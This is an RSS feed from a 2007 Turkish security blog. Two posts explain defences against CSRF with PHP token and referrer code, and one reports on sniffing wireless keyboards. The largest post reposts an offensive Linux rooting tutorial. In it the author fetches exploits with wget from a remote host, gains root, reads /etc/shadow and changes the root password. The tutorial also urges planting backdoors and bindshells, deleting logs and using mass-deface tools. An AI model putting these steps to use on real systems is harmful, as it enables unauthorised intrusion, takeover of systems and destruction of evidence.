<?xml version="1.0" encoding="ISO-8859-9"?>
<rss version="2.0">
	<channel>
		<title>syshoLe.com</title>
		<link>http://www.syshole.com/index.php</link>
		<description><![CDATA[]]></description>
		<copyright>Copyright 2008, n3</copyright>
		<managingEditor>n3</managingEditor>
		<language>tr-TR</language>
		<generator>SPHPBLOG 0.4.8</generator>
		<item>
			<title>CSRF Saldırıları ve Korunma (Bölüm 2)</title>
			<link>http://www.syshole.com/index.php?entry=entry071201-204222</link>
			<description><![CDATA[Korunma Yöntemleri <br /><br />3- Token (Anahtar)<br /><br />    Token kullanılan en yaygın ve en etkili güvenlik önlemidir diyebiliriz..<br />Token (anahtar) sisteminin çalışma mantığına göre yönetici giriş formunda o anki oturuma göre bir anahtar oluşturulur ve veritabanına kaydedilir giriş yapıldıktan sonra giriş yapan kişinin anahtarı, veritabanındakiyle karşılaştırılır eğer karşılaştırma uygunsa kullanıcı giriş formunu kullanarak giriş yapmış demektir ve giriş izni verilir eğer uygun değilse oturum iptal edilir. <br /><br />    Tabi token tam bir güvenlik sağlamaz çünkü önemli bir etkisi yoktur fakat her bir anahtarın geçerli olduğu süre aralığı iyi belirlenirse token saldırgan için önemli bir engel oluşturacaktır.<br /><br />    Token ile ilgili örnek kodları aşağıdadır...<br /><br />&lt;?php<br />session_start();<br />$token = md5(uniqid(rand(),TRUE));<br />$_SESSION[&#039;token&#039;] = $token;<br />$_SESSION[&#039;token_time&#039;] = time();<br />?&gt;<br />&lt;form action=&quot;purchase.php&quot; method=&quot;POST&quot;&gt;<br />&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;&lt;?php echo $token; ?&gt;&quot; /&gt;<br />&lt;p&gt;<br />Item:<br />&lt;select name=&quot;item&quot;&gt;<br />&lt;option name=&quot;fieldlevel&quot;&gt;fieldlevel&lt;/option&gt;<br />&lt;option name=&quot;upperdeck&quot;&gt;upperdeck&lt;/option&gt;<br />&lt;/select&gt;&lt;br/&gt;<br />Number:&lt;input type=&quot;text&quot; name=&quot;number&quot; /&gt;&lt;br/&gt;<br />&lt;input type=&quot;submit&quot; value=&quot;Purchase&quot; /&gt;<br />&lt;/p&gt;<br />&lt;/form&gt;<br /><br />  <br />   Token herhangi bir oturum degiskeni gibi yaratilmali<br /><br /><br />&lt;?php<br />if (!isset($_SESSION[&#039;token&#039;]))<br />{<br />$_SESSION[&#039;token&#039;] = md5(uniqid(rand(), TRUE));<br />}<br />?&gt;<br /><br /><br />  Token&#039;ı basit bir koşul ifadesi ile kontrol edin:<br /><br /><br />&lt;?php<br />if ($_POST[&#039;token&#039;] == $_SESSION[&#039;token&#039;])<br />{<br />/* Valid Token */<br />}<br />?&gt;<br /><br /><br />Token&#039;ın geçerliliğini belirli bir zaman periyoduna kısıtlamak, örneğin dört dakika, güvenliği artıracaktır:<br /><br /><br />&lt;?php<br />$token_age = time() - $_SESSION[&#039;token_time&#039;];<br />if ($token_age &lt;= 240)<br />{<br />/* Less than four minutes has passed. */<br />}<br />?&gt;<br /><br />-----------------------------------------------------------------<br /><br />4- Server Destekli Korunma<br /><br />   Bahsettiğimiz korunma yöntemlerini ve ileride bahsedeceğimiz bazı ufak tefek korunma yöntemlerini .htaccess dosyası ile serverdan yönetebilirsiniz.<br />   Aşağıda örnek kod yer almaktadır..<br /><br />RewriteEngine On<br />Options +FollowSymLinks<br /><br />AddType application/x-httpd-php .php .xkill<br /><br /># gelen istege gore engelleme<br /><br />RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC]<br />RewriteRule ^(.*)$ deny.xkill [NC]<br /><br /># referrer kontrolu<br /><br />RewriteCond %{HTTP_REFERER} !^http://(.+\.)?yourwebsite\.com/ [NC]<br />RewriteRule .*\.(php|asp|jsp)$ deny.xkill [NC]<br /><br /># remote file inclusion ataklarini onlemek icin dosya isimlerini     # kisitlama<br /><br />RewriteCond %{QUERY_STRING} ^(.*)(&#039;|&lt;|&gt;|/|\.a|\.c|\.t|\.d|\.p|\.i|\.e|\.j)(.*) [NC]<br />RewriteRule ^(.*)$ deny.xkill [NC]<br /><br />--------------------------------------------------------------------<br /><br />Bu kodlar sizin hayal gücünüze göre daha da genişletilebilir.<br /><br />5- CAPTCHA<br /><br /> Captcha basitçe, istek yapan kullanıcının ufak bir resim içinde verilecek güvenlik kodunu yazarak doğrulama yapmasıdır. <br /> isteğin içinde bu kod yer alamayacağından saldırgan eli boş dönmüş oalcaktır. Tabi burada kullanılacak güvenlik kodunun nasıl bir kripto sistemiyle belirleneceği, tekrar edip etmeyeceği önemli ayrıntılar.<br /><br />Referanslar : <br /><a href="http://devlog.info/2007/09/02/cross-site-request-forgeries-csrf/" target="_blank" >http://devlog.info/2007/09/02/cross-sit ... ries-csrf/</a><br /><a href="http://www.0x000000.com/" target="_blank" >http://www.0x000000.com/</a><br /><a href="http://www.olympos.org/belgeler/cross-site-request-forgery/cross-site-request-forgery-xsrf-csrf-93445.html" target="_blank" >http://www.olympos.org/belgeler/cross-s ... 93445.html</a>]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry071201-204222</guid>
			<author>n3</author>
			<pubDate>Sun, 02 Dec 2007 04:42:22 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=12&amp;entry=entry071201-204222</comments>
		</item>
		<item>
			<title>CSRF Saldırıları ve Korunma (Bölüm 1)</title>
			<link>http://www.syshole.com/index.php?entry=entry071201-201607</link>
			<description><![CDATA[    Csrf (Cross-Site Request Forgeries) saldırıları xss saldırılarının zıt yönlüsü gibi çalışır. <br />Örneğin bir siteye yetkili bir kullanıcı iziniyle girebildiğinizi düşünelim, bu siteye bağlı aktif bir oturumunuz (session) olması gerekiyor. Aynı anda saldırganın sitesinde veya saldırganın kod yerleştirmiş olduğu herhangi bir sitede (forum vs.) dolaştığınızda saldırgan yetkili olduğunuz sitede gerçekleştirmeniz için size bir request gönderebilir bu sayede yetkili olduğunuz siteye sizin bilgisayarınızdan bir request (istek) gitmiş olacaktır.<br />    Daha açıklayıcı olmak gerekirse bir sitedeki 1 numaralı yazıyı <a href="http://www.xxx.com/del.php?id=1" target="_blank" >www.xxx.com/del.php?id=1</a> linkinden silebildiğinizi düşünün.. Sizin bilgisayarınızdan giden istek bu yazının silinmesine yeterli olabilir.<br /><br />    Saldırı Yöntemleri<br /><br />Bilinen en yaygın csrf saldırı yöntemi, saldırgan tarafından yapılan requestin size image taglar yoluyla gelmesidir. <br /> <br />Örneğin bir forumda <br />&lt;img src=&quot;http://xxx.org/script.php&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;<br />şeklinde yerleştirildiğini sandığınız bir resime tıkladığınızda bilgisayarınız script.php dosyasına göre bir istek gerçekleştirebilir.<br />Aynı zamanda bu resimin boyutu 1x1 piksel olarak ayarlandığından sizin bunun bir saldırı olduğunu farketmeniz zor olabilir. Bunun dışında script.php dosyası iframe olarakta yerleştirilebilir her iki yöntemde de kurbanın, bunun bir saldırı olduğunu anlaması güçleşecektir.<br /><br />    Korunma Yöntemleri<br /><br />1- GET Yerine POST Kullanmak<br /><br />    En sık kullanılan korunma yöntemlerinden biri yetkili olduğunuz sitedeki form tipini değiştirmektir. Eğer formunuz GET isteklerini reddeip sadece POST isteklerini yerine getirirse bu tip ataklara büyük ölçüde önlem almış olursunuz fakat bu tek başına yeterli gelmeyecektir. <br />Sebebine gelirsek <br /><br />&lt;form action=&quot;http://example.org/admincp/delete_article.php&quot; method=&quot;post&quot; id=&quot;theform&quot;&gt;<br />&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;42&quot; /&gt;<br />&lt;/form&gt;<br /><br />gibi bir kod kullanıldığında gönderilen request post olarak iletilecektir.<br /><br />2- Referrer Kısıtlama <br /><br />    Bir başka korunma yöntemi gelen isteklerin sadece sitenin domaini üzerinden gelmesini istemektir.<br />    Bunun dezavantajı günümüzde güvenlik amacıyla bazı kullanıcıların referrer engelleyen tarayıcı eklentileri kullanması veya bazı proxy sitelerinin bu referrerları engellemesi ya da değiştirmesi.<br />Bu yöntem kullanılırsa sitenin belli bir kullanıcı kitlesininde siteye girişi yasaklanmış olacaktır.<br /><br />   Yine de bu güvenlik önlemini düşünenler için örnek bir kod aşağıda veriliyor.<br /><br />/**<br />* Check the users referrer on POST requests to make sure<br />* they come from the correct domain.<br />*<br />* @param array $whitelist An array of domains that should be <br />*                         allowed regardless of the current domain.<br />*<br />* @return boolean True if the referer is allowed, false otherwise.<br />*/<br />function check_post_referrer($whitelist = array()) {<br />    <br />    // Only POST requests should be checked<br />    if (strtoupper($_SERVER[&#039;REQUEST_METHOD&#039;]) != &#039;POST&#039;) {<br />        return true;<br />    }<br />    <br />    $whitelist = (array)$whitelist;<br />    <br />    <br />    #------------------------------<br />    # Get the referrer host<br />    #------------------------------<br />    <br />    $ref_parts = @parse_url($_SERVER[&#039;HTTP_REFERER&#039;]);<br />    $ref_host = false;<br />    <br />    if ($ref_parts AND isset($ref_parts[&#039;host&#039;]) AND $ref_parts[&#039;host&#039;]) {<br />        $ref_host = $ref_parts[&#039;host&#039;];<br />    }<br />    <br />    // No referrer, default to true<br />    if (!$ref_host) {<br />        return true;<br />    }<br /> <br /> <br />    #------------------------------<br />    # Get the current host and add<br />    # it to the whitelist<br />    #------------------------------<br />    <br />    $host = false;<br /> <br />    if ($_SERVER[&#039;HTTP_HOST&#039;]) {<br />        $host = $_SERVER[&#039;HTTP_HOST&#039;];<br />    } else if ($_ENV[&#039;HTTP_HOST&#039;]) {<br />        $host = $_ENV[&#039;HTTP_HOST&#039;];<br />    } else if ($_SERVER[&#039;SERVER_NAME&#039;]) {<br />        $host = $_SERVER[&#039;SERVER_NAME&#039;];<br />    } else if ($_ENV[&#039;SERVER_NAME&#039;]) {<br />        $host = $_ENV[&#039;SERVER_NAME&#039;];<br />    }<br />    <br />    if ($host) {<br />        array_unshift($whitelist, $host);<br />    }<br />    <br />    // If for some reason there are no allowed hosts,<br />    // default to true<br />    if (!$whitelist) {<br />        return true;<br />    }<br />    <br />    <br />    #------------------------------<br />    # Check the referrer against<br />    # allowed domains<br />    #------------------------------<br />    <br />    $valid = false;<br />    <br />    foreach ($whitelist as $check_host) {<br />        <br />        $check_host = trim($check_host);<br />        <br />        // Check with a space on each side to easily<br />        // anchor it without using regex<br />        <br />        if (stripos(&quot; $ref_host &quot;, &quot; $check_host &quot;) !== false) {<br />            $valid = true;<br />            break;<br />        }<br />    }<br />    <br />    return $valid;<br />} <br /><br /><br /><br />--------------------------------------------------------------------<br />Örnek kullanım aşağıdaki gibidir.<br /><br />&lt;?php<br />if (!check_post_referrer()) {<br />    die(&#039;Invalid referrer&#039;);<br />}<br /> <br />// Process form<br />// ...<br /> <br />?&gt;  <br /><br />--------------------------------------------------------------------<br /><br />Bütün bu önlemlere rağmen saldırının spoof referrerdan gelebilme ihtimali göz ardı edilmemelidir.<br />]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry071201-201607</guid>
			<author>n3</author>
			<pubDate>Sun, 02 Dec 2007 04:16:07 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=12&amp;entry=entry071201-201607</comments>
		</item>
		<item>
			<title>Wireless Keyboard Sniffing</title>
			<link>http://www.syshole.com/index.php?entry=entry071201-185031</link>
			<description><![CDATA[Dreamlab ve remote-exploitin ortak çalışması olan yeni saldırı tekniği geçenlerde duyuruldu.. Aslında 27mhz gibi düşük frekanslardaki bir wireless bağlantısının sniff edileceği zaten teorik olarak hemen hemen herkesin bildiği bir şey.. Ama birinin pratikte bunu göstermesi güzel olmuş.. <br />Dreamlabın bu konuda gösterdiği hassasiyet nedeniyle saldırı ayrıntılarına fazla değinilmemiş.. <br />Saldırıyla ilgili makaleyi okurken benim en çok dikkatimi çeken gelen tuş darbelerinin hiç bir kripto sisteminden geçmemesiydi. Her tuş darbesi için sadece 256 kombinasyonluk ufak bir koruma vardı ki bunu da özellikleri ortalama olan bir bilgisayarla rahatça yapabilirsiniz.. <br />Biz yırtınarak wep, wpa gibi uyduruk kripto sistemleriyle wireless teknolojisinin gelişemeyeceğini söylerken dünya devi firmaların buna bile gerek görmemeleri komik..<br />Bunun dışında bu klavyeleri kullanan firmaların başında Microsoft ve Logitech gibi sektör devlerinin gelmeside düşündürücü..<br />Nasıl olsa bizden başka satan yok diyerek kullanıcı güvenliğini bu kadar arka planda bırakmak büyük şirketlerin hiç değişmeyen hali..<br />Sadece bir haber olduğu için fazla uzatmıycam sadece önemli bir haber olduğu için paylaşmak istedim..<br />Konuyla ilgili bir video..<br /><a href="http://www.remote-exploit.org/max/automated.html" target="_blank" >http://www.remote-exploit.org/max/automated.html</a><br />Konuyla ilgili dreamlab&#039;ın makalesi..<br /><a href="http://www.dreamlab.net/download/articles/27_Mhz_keyboard_insecurities.pdf" target="_blank" >http://www.dreamlab.net/download/articl ... rities.pdf</a>]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry071201-185031</guid>
			<author>n3</author>
			<pubDate>Sun, 02 Dec 2007 02:50:31 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=12&amp;entry=entry071201-185031</comments>
		</item>
		<item>
			<title>Local Rooting</title>
			<link>http://www.syshole.com/index.php?entry=entry071005-065929</link>
			<description><![CDATA[Uzun süredir yoğunluktan dolayı döküman ekleyemem dolayısıyla site sahipsiz görünmesin diye daha önce bir yerden bulduğum bir dökümanı siteye ekleyeceğim..<br />Döküman local sistemleri rootlama yöntemlerini çok sade bir dilde anlatıyor..<br />Daha önce bu tip rooting taktiklerine değindik fakat genellikle konuyu önceden bildiğinizi düşünerek özet olarak geçtik veya saldırının tek bir bölümünü inceledik bunu yapmamın sebebide sitenin teknoloji güvenliği konusunda geliştirilebilir dökümanları içermesini istememdi..<br />Lafı uzatmadan dökümana geçelim.. Bu arada dökümanı yazan canberx&#039;e de ayrıca teşekkürler..<br />Konu:        Linux Yerel Sistemi Rootlama <br />Yazar:        canberX a.k.a nem0 &lt;tbc.nem0[at]gmail[dot]com&gt; <br />Tarih:        15/04/2007 &amp;#8211; 01:06  <br />Kategori:   Hacking - Linux <br /> <br /> <br /> <br />içindekiler: <br />0x01 - Giriş  <br />0x02 - Sistem Bilgilerini Toplama <br />0x03 - Dağıtıma Göre Exploit Bulmak ve Kullanmak <br />0x04 - Kernel Sürümüne Göre Lokal Exploit Bulmak ve Kullanmak <br />0x05 - Daemonlara Göre Exploit Bulmak ve Kullanmak <br />0x06 - Sistemden Dz Bırakmadan Çıkmak <br />0x07 - Sonuç 0x01 - Giriş: <br />  Merhaba arkadaşlar. Bu yazımda sizlere lokalde erişebildiğimiz bir sistemi nasıl rootlarız,nasıl <br />dağıtabiliriz kısaca değineceğim ve canlı bir örnek ile pekiştireceğim.Başlamadan önce sizlerde bulunması <br />gereken bazı önemli exploitleri,programların bir listesini vereceğim (Dökümanın en sonunda indirme linklerini <br />bulabilirsiniz.). <br /> <br />  Lokal bir sistemi rootlamakla ilgili bir tuttorial hazırladım evet ama peki lokal sisteme nasıl gireceğim <br />diye biraz çelişkiniz varsa,bu dökümanı hiç okumayın ve hemen gidin bir sisteme nasıl sızılır biraz olsun <br />araştırın ;) <br /> <br />  Lokalde yüksek kullanıcı yetkisi(bkz: root,super user) için gerekli lokal exploitlerin bir listesi,bu tür bir <br />listeye heryerde rastlayabilirsiniz. <br /> <br />2.4.17    -&gt; newlocal, kmod, uselib24 <br />2.4.18-19    -&gt; brk, brk2, newlocal, kmod <br />2.4.20    -&gt; ptrace, kmod, ptrace-kmod, brk, brk2 <br />2.4.21-22    -&gt; brk, brk2, ptrace, ptrace-kmod <br />2.4.22-10 -&gt; loginx <br />2.4.23    -&gt; mremap_pte <br />2.4.24    -&gt; mremap_pte, uselib24 <br />2.4.25-1  -&gt; uselib24 <br />2.4.27    -&gt; uselib24 <br />2.6.2     -&gt; mremap_pte, krad, h00lyshit <br />2.6.5-8     -&gt; krad, krad2, h00lyshit <br />2.6.9     -&gt; krad, krad2, h00lyshit <br />2.6.9-34  -&gt; r00t, h00lyshit <br />2.6.10    -&gt; krad, krad2, h00lyshit <br />2.6.13-16    -&gt; raptor, raptor2, h0llyshit, prctl <br /> <br />  Kendi bilgisayarınızdan back-connect olabilmek için veya bir bindshell&#039;e bağlanabilmek için NetCat&#039;i <br />öneriyorum...(not: PuTTy&#039;de elinizde bulunsun...) Ayrıca sistemi kırdıktan yani rootladıktan sonra çeşitli <br />rootkitlere,bindshell exploitlere,log temizleyecilere ve isteğinize göre spam mail sender veya mass deface exploitlere de ihtiyaç duyabilirsiniz.Bazı önemli exploitler,scriptler: w4ck1ng bindshell Exploit, Log Cleaner, <br />Mass Script&amp;#8230; <br /><br /> <br />0x02 - Sistem Bilgilerini Toplama: <br />  Evet bilindiği üzere sistemimiz bir linux sistem.Bir Linux sistemde ilk önce sistem üzerinde nMap veya <br />herhangi bir ağ tarama programıyla bir tarama yapalım ve çıkan sonuçları sistemin IP&#039;siyle birlikte not alalım <br />bir kenarda kalsın çünkü ilerleyen zamanlarda bunlar bize yardımcı olacak.Daha sonra kernel versiyonunu <br />öğreniriz. <br /> <br />  Çünkü önce kernel hacklenmeye çalışılır,eğer kernel hacklenemezse bu sefer sistem üzerindeki kurulu <br />daemonların açıkları denenir.Her neyse konumuza dönelim.Şimdi sistemin kernel versiyonunu öğrenelim.cat <br />/proc/version,cat /etc/issue veya uname -r gibi bir komutla kernel versiyonunu alabiliriz(uname komutunda -a <br />parametresi ile detaylı bilgiye ulaşabilirsiniz.). cat etc/issue;cat/version <br />Welcome to SuSE Linux 9.3 (x86-64) - Kernel \r (\l). <br />Linux version 2.6.16.20-060620b (root@buildd-amd64) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 SMP Tue Jun 20 14:53:44 CEST 2006 <br /> <br />  Evet komutun çıktısı karşımıza geldi ve bakıyoruz sistemin kernel versiyonu 2.6.16.20-060620b ve <br />dağıtım olarak SuSE 9.3 kullanıyor.Kernel 2006 yılında derlenmiş.Şimdi 2 seçeneğim var.Ya kernel versiyonuna  <br />göre lokal exploit arayacağım,ya da dağıtım sürümüne göre(biliyorsunuz ki çoğu linux dağıtımında bazı açıklar <br />olabiliyor.). <br /> <br /> <br /> <br />0x03 - Dağıtıma Göre Exploit Kullanma: <br />  Dlk önce dağıtıma göre bir açık aramayı tercih ediyorum ben.Herhangi bir 0day veya Advisory sitesine <br />gidip dağıtım adını ve versiyonunu yazarak aratıyorum(ben burda milw0rm&#039;ü tercih ettim.).Evet bir exploit <br />buldum.Exploitimin adı bu: <br /> <br />SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0 <br />   <br />  Bu exploit SuSE 9.3 ve 10.0 sistemlerde root seviyesinde bir kullanıcı yaratıyor.Exploitimi .sh formatında <br />kaydedicem(.sh bin/bash programlamanın dosya uzantısıdır.).Daha sonra uzaktaki bir adrese attım <br />exploitimi.Şimdi sisteme çekmem lazım.Bunun için wget komutunu kullanabilirim(ayrıca lynx,get,fetch,curl gibi <br />komutlarda var.). <br /> <br />wget <a href="http://xxxxxxxx.xxx/xxxxxx/suse9-3.txt" target="_blank" >http://xxxxxxxx.xxx/xxxxxx/suse9-3.txt</a> <br />--21:53:34--  <a href="http://xxxxxxxx.xxx/xxxxxx/suse9-3.txt" target="_blank" >http://xxxxxxxx.xxx/xxxxxx/suse9-3.txt</a> <br />           =&gt; `suse9-3.txt&#039; <br />Resolving <a href="http://xxxxxxxx.xxx..." target="_blank" >http://xxxxxxxx.xxx...</a> 208.53.xxx.xx <br />Connecting to <a href="http://xxxxxxxx.xxx|208.53.xxx.xx|" target="_blank" >http://xxxxxxxx.xxx|208.53.xxx.xx|</a>:80... connected. <br />HTTP request sent, awaiting response... 200 OK <br />Length: 13,253 (13K) [text/plain] <br /> <br />100%[====================================&gt;] 13,253        --.--K/s <br /> <br />21:53:40 (105.71 KB/s) - `suse9-3.txt&#039; saved [13253/13253] <br /> <br />  Evet exploitim geldi.Onu mv komutuyla .sh formatına çevireceğim.Bunun için mv suse9-3.txt suse9-3.sh <br />komutunu uyguluyorum.Ardından dosyaya chmod 4777 suse9-3.sh komutuyla çalıştırma ve yazılabilme yetkisi <br />veriyorum.Son olarakta ./suse9-3.sh komutuyla çalıştırıyorum. <br />Eğer sistem patchsiz ise root yetkisine sahip kullanıcımıza oluşacaktır. <br /> <br />/bin/su file is not setuid root :( <br />/usr/bin/chfn file is not setuid root :( <br /> <br />  Evet hata verdi anlaşılıyor ki sistem pacthlenmiş.Şimdi o zaman 2.elternatife geçeceğim.Yani Kernel <br />versiyonuna göre bir açık bulup sistemi o şekilde kıracağım. 0x04 - Kernel Sürümüne Göre Lokal Exploit Kullanma: <br />  Hatırlıyorsanız kernel versiyonu 2.6.16-20-060620b idi.Bunun için lokal kernel exploit listeme bakıcam <br />ve uygun exploiti seçeceğim.raptor, raptor2, h0llyshit, prctl isimli exploitler bu versiyona uygunmuş.Dlk önce <br />h00lyshit&#039;i deneyeceğim.Yine wget komutuyla exploitimi çektim.h00lyshit&#039;in usage kısmına bakarsanız <br />görürsünüz zaten kullanımı şu şekildir. <br /> <br />./h00lyshit file <br /> <br />  Yukarıda görüldüğü gibi file isimli dosya 100 MB&#039;tan büyük olmalıdır.O zaman cd /tmp komutuyla tmp <br />dizinine geçicem,neden tmp dizini diye sorarsanız,tmp dizini yazılabilir bir dizindir.100 MB&#039;dan büyük bir dosya <br />oluşturmak için dd komutunu count ile birlikte kullanıyoruz. <br /> <br />dd if=/dev/zero of=canberX.dat bs=1024k count=130 <br /> <br />  Yukarıdaki komut ile 1024KB olan bir dosya yarattık ve onu 130 kere count ederek 130 MB&#039;lık bir dosya <br />elde etmiş olduk.Dsteyenler dosya boyutunu öğrenmek için du -h dosyaAdi komutunu kullanabilirler.Her neyse <br />exploitimi çalıştırıyorum: chmod 4777 h00lyshit;chmod 4777 canberX.dat <br />./h00lyshit /tmp/canberX.dat;id <br />          Segmentation Fault <br />uid=33(www) gid=33(www) groups=8(www) <br /> <br />  Evet bakıyoruz Segmentation Fault hatası verdi.Kernele işlemedi exploit.Ama yılmak yok başka bir tane <br />deniyoruz.Özellikle bu tür bir kernele sahip sistem seçtim ki piyasada 2-3 RFI Bug kullanıp site deface edip <br />kendini ilah zanneden bazı arkadaşların ısrarla 2.6.* 2006 Updateli kernel kırılmaz diye öne sürdükleri tezlerini <br />çürütmek için :) Bu sefer prctl isimli exploiti çekiyorum sisteme.Aynı işlemleri bu exploitede uyguluyoruz. <br /> <br />chmod 4777 prctl <br />./prctl;id <br />uid=0(root) gid=0(root) groups=8(www),2523(psaserv) <br />whoami <br />root Aaa,o da ne,sistem sen root&#039;sun dedi :) Demek oluyor ki pcrtl isimli exploitimiz lokalden sistemi kırmaya <br />yardımcı oldu.Şimdi bakalım uptime&#039;larına ve sistemde ki kullanıcılara,şifrelere vs... <br /> <br />uptime <br />6:47pm  up 1 day  5:11,  0 users,  load average: 0.12, 0.17, 0.18 <br /> <br />  En son 1 gün önce kullanılmış sistem.Şuan da hiç kullanıcı yokmuş.Burada ki kullanıcıdan kastımız <br />admin. Hemen /etc/passwd ve /etc/shadow dosyalarında ki root şifrelerine bakıyoruz... <br /> <br />cat /etc/passwd | grep root <br />root:x:0:0:root:/root:/bin/bash <br /> <br />cat /etc/shadow | grep root <br />root:$2a$10$hxQEuGI3cVPMH4PJbQ07IOf1eetXDpl37ELK3r7b1U9M8oaQWJNIq:13332:0:10000::::Evet root kullanıcı hesabının bilgilerini görebiliyoruz.Dstersek root kullanıcısına ait şifreyi değiştirebiliriz. <br />useradd veya adduser komutuyla bir kullanıcı ekleyebilirsiniz sisteme.Ayrıca passwd komutuyla istediğiniz <br />kullanıcıya ait şifreyi değiştirebilirsiniz. <br /> <br />passwd root <br />Enter New Password: <br />Re-Enter New Password: <br />Password Changed! <br /> <br />  Tamamdır yukarıdakine benzer bir adımla root şifresini değiştirdik.Eminim admin sistemine girmeye <br />çalıştığında bize çok küfür edecek :) Ayrıca sistemde bir arka kapı bırakmayı unutmayın... <br /> <br /> <br /> <br />0x05 - Daemonlara Göre Exploit Bulmak ve Kullanmak: <br />  Evet geldik sistemde ki 3.alternatif aşamalardan birine.Oldu ki ne kerneli kırabildiniz,ne de dağıtıma <br />göre bir açık bulup sistemi kıramadınız ve öyle ortada kaldınız.O zaman sistemde kurulu olan Daemon <br />dediğimiz sistemin işleyişinde rol alan programlar için yazılmış açıkları 0day/Advisory sitelerinden bulup <br />kullanmamız gerekir. <br /> <br />  Daemonlara ait exploitlerin en önemli özellikleri remote exploitlerde olabilmeleridir.Peki bu ne demek? <br />Yani siz bir mysql,proftpd,samba,Apache,PHP gibi debianlarda ki açıklar sayesinde sistem üzerinde uzaktan <br />hafıza taşması yaratarak kod çalıştırabilirsiniz.Bunun çok büyük avantajı var.Bu nedenle bu tür debianlarda ki <br />açıklar genelde public edilmez yani priv8 olarak tutulur.Adam istediği gibi kullanır,daha sonra üreticiye bildirir <br />açık için yama çıkmadan 1 gün önce 0day sitelerine dağıtır.Genelde underground&#039;da işler bu şekilde <br />işliyor.Malesef ülkemizin müthiş hackerları emanete pek sadık kalmıyorlar yani akılları sıra kendi milletlerine <br />yararları dokunuyor neyse burası tartışılır... <br /> <br />  Ben Apache 1.3.33/1.3.34 sürümü için çok güzel bir lokal exploit buldum.Debian tabanlı sistemlerde <br />root olmaya sağlıyor.Bunun açıklamasını yapmayacağım biraz fazla uzadı konu.Zaten eminim exploit kullanma <br />konusunda bir fikriniz var artık.Zaten eğer bir fikriniz yoksa ya gidin okuyun öğrenin bu dökümanı öyle uygulayın ya da kendinizi camdan aşağı atın :) <br /> <br /> <br /> <br />0x06 - Sistemden Dz Bırakmadan Çıkmak: <br />  Evet geldik son aşamaya.Artık o gözümüzde büyüttüğümüz root yetkisi bizim gibi değersiz bir adamın <br />elinde harap oluyor.Belki birilerinin çok değer verdiği web serverları,kişisel bilgisayarlar veya web siteleri tek <br />bir komutumuza bakıyor(rm -rf /  sakın evde denemeyin :P).Ee yaptıkta ne oldu.Tamam yüksek yetki <br />kazanabildik. <br /> <br />  Ama unutmayın çıkarken mutlaka sistemde bir iz bırakmış olabilirsiniz.Bunun için mümkün olduğunuca <br />aynı dizinlerde çalışın,sisteme bağlanırken bir proxy kullanın ve işiniz bittikten sonra kullandığınız materyalleri <br />silin.Bunun için log temizleyen scriptler var.Bunların mantığı basittir. <br /> <br />rm -rf /var/logs <br /> <br />  Yukarıdaki gibi basit komutlarla belirlenmiş olan log dizinlerindeki dosyaları siler.En son olarakta /tmp <br />dizini gibi geçici dosyaların olduğu dizini silebilirsiniz.Log temizleyen bir scriptti dökümanın sonundaki <br />download adreslerinde bulabilirsiniz.Ayrıca logları temizlemeden önce sistemde bir arka kapı bırakırsanız ilerisi <br />için iyi olur.Zaten root şifresini değiştirmiştik ama her türlü şey için bir sahte kullanıcı veya hortlayacak bir <br />remote shell bırakmak bizim için iyi olur.Bunun için bir rootkit veya bindshell exploitini kullanabilirsiniz... 0x07 - Sonuç: <br />  Sonuç olarak bu döküman ile bir şekilde erişim sağladığımız bir sistemde lokal sıradan bir kullanıcı iken <br />nasıl en yüksek yetkiye sahip bir kullanıcı olduk onu gördük.Elimden geldiğince elimdeki sisteme ait açıkları <br />kullanarak demonstrate(Türkçe karşılığı biraz anlamsız o yüzden bu terimi kullandım) etmeye çalıştım. <br /> <br />  Umarım mantık ve yürütülecek yol anlaşılmıştır.Unutmamak gerekirki kırılamayacak bir sistem yoktur(bu <br />laf son zamanlarda bileninde bilmeyeninde diline sakız oldu ama kapanışı bununla yapalım bu seferlik :) ). <br /> <br />  Dyi Hackingler... <br /> <br /> <br /> <br />Teşekkürler: <br />Dökümanı hazırlarken bir takım isteklerimi yerine getiren,bana bulmakta zorluk çektiğim scriptleri bulan ve <br />dökümanı test eden arkadaşım e8,benimle tüm bilgisini paylaşan m0liver,yanlışlıkla kalbini kırdığım <br />h4ckinger ve şuan adı aklıma gelmeyen tüm arkadaşlarıma teşekkürlerimi sunarım&amp;#8230; <br /> <br /> <br /> <br />Referanslar: <br />PsyCash - Bir Hackin Anatomisi <br />Ebixad - System Rooting <br /> <br /> <br /> <br />Download Linkleri: <br />NetCat for WINNT - <a href="http://vulnwatch.org/netcat/nc111nt.zip" target="_blank" >http://vulnwatch.org/netcat/nc111nt.zip</a> <br />nMap for WINNT - <a href="http://download.insecure.org/nmap/dist/nmap-4.21ALPHA4-win32.zip" target="_blank" >http://download.insecure.org/nmap/dist/ ... -win32.zip</a> <br />w4ck1ng Bind Shell Exploit - <a href="http://www.w4ck1ng.com/board/showthread.php/w4ck1ng-bindshell-832.html" target="_blank" >http://www.w4ck1ng.com/board/showthread ... l-832.html</a> <br />Mass Script - <a href="http://upload2.net/page/download/cHq6ZxU7to4JftU/mass.rar.html" target="_blank" >http://upload2.net/page/download/cHq6Zx ... s.rar.html</a> <br />Log Cleaner - <a href="http://upload2.net/page/download/TaS07HxQER5yraR/logs_linux.rar.html" target="_blank" >http://upload2.net/page/download/TaS07H ... x.rar.html</a> <br />Lokal Exploitler - <a href="http://m0liverlab.by.ru/exploitz/rootexploits.rar" target="_blank" >http://m0liverlab.by.ru/exploitz/rootexploits.rar</a> ]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry071005-065929</guid>
			<author>n3</author>
			<pubDate>Fri, 05 Oct 2007 13:59:29 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=10&amp;entry=entry071005-065929</comments>
		</item>
		<item>
			<title>Xss Shell</title>
